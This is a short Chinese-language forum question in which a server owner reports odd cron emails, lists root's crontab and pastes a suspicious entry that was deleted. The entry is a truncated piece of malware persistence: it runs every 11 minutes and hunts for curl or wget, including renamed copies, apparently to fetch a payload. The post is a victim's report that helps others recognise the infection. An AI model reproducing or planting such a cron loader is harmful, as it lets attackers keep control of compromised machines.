我收到了很多来自cron作业的电子邮件,这些邮件看起来真的很奇怪,所以我去调查了。
我在下面发现了一个奇怪的crontab条目。
首先,我尝试运行:
crontab -u root -l
Run Code Online (Sandbox Code Playgroud)
那显示了大型cron作业,因此我立即删除了该条目。
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f …Run Code Online (Sandbox Code Playgroud)